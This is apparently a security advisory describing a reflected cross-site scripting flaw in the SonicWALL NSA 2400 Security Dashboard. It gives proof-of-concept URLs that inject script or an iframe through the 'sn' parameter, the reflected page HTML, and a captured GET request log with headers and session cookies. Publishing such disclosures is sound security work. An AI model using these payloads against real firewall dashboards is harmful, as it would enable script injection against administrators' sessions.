SonicWALL NSA 2400 Security Dashboard跨站脚本漏洞

The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged application user account and with low or medium user interaction. For security demonstration or to reproduce the issue follow the provided information and steps below to continue. PoC: Example http://nsa2400.localhost:8080/stats/dashboard.jsp?sn=[CLIENT-SIDE INJECTED SCRIPT CODE VIA SN!]%3E&UI=5&vndr=sw PoC: Module: User Monitor - Backend http://nsa2400.localhost:8080/stats/dashboard.jsp?sn=%3E%22%3Ciframe%20src=http://www.vulnerability-lab.com%3E&UI=5&vndr=sw Module: User Monitor - Security Dashboard <form> <a href="fwl_system_status.html" class="breadcrumb">System/</a><br> <span class="header">Security Dashboard</span><br> <table border="0" cellpadding="0" cellspacing="0" width="97%"> <tbody><tr> <td colspan="2" class="button_row_bg"><img src="images/gen5/clear.gif" height="1" width="1"></td> </tr> <tr> <td class="button_row_image">View: <input name="mode" value="g" checked="" onclick="changeMode(this.value);" type="radio">Global <input name="mode" value="l" onclick="changeMode(this.value);" type="radio">>"<[CLIENT-SIDE INJECTED SCRIPT CODE VIA SN!]"> </td> --- PoC Session Logs [GET] --- Status: 200[OK] GET http://nsa2400.localhost:8080/stats/dashboard.jsp?sn=[CLIENT-SIDE INJECTED SCRIPT CODE VIA SN!]%3E&UI=5&vndr=sw Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[-1] Mime Type[text/html] Request Headers: Host[nsa2400.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Cookie[JSESSIONID=4D8814AAF02212A2D1C234F9C9192644; __utma=205917072.1209742391.1380320042.1380320042.1380320042.1; __utmb=205917072.8.10.1380320042; __utmc=205917072; __utmz=205917072.1380320042.1.1.utmcsr=google|utmccn=(organic)| utmcmd=organic|utmctr=(not%20provided); s_cc=true; s_sq=%5B%5BB%5D%5D; curUrl=userMonitor.html; curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 1035=0; 1040=4; 1041=1; 1042=0; 1043=0; 1044=0; 1045=0; 1022=true; 1007=applFolder; SessId=null; PageSeed=null] Connection[keep-alive] Response Headers: Server[Apache-Coyote/1.1] Expires[Sat, 6 May 1995 12:00:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Content-Type[text/html] Date[Fri, 27 Sep 2013 22:16:36 GMT] Connection[close]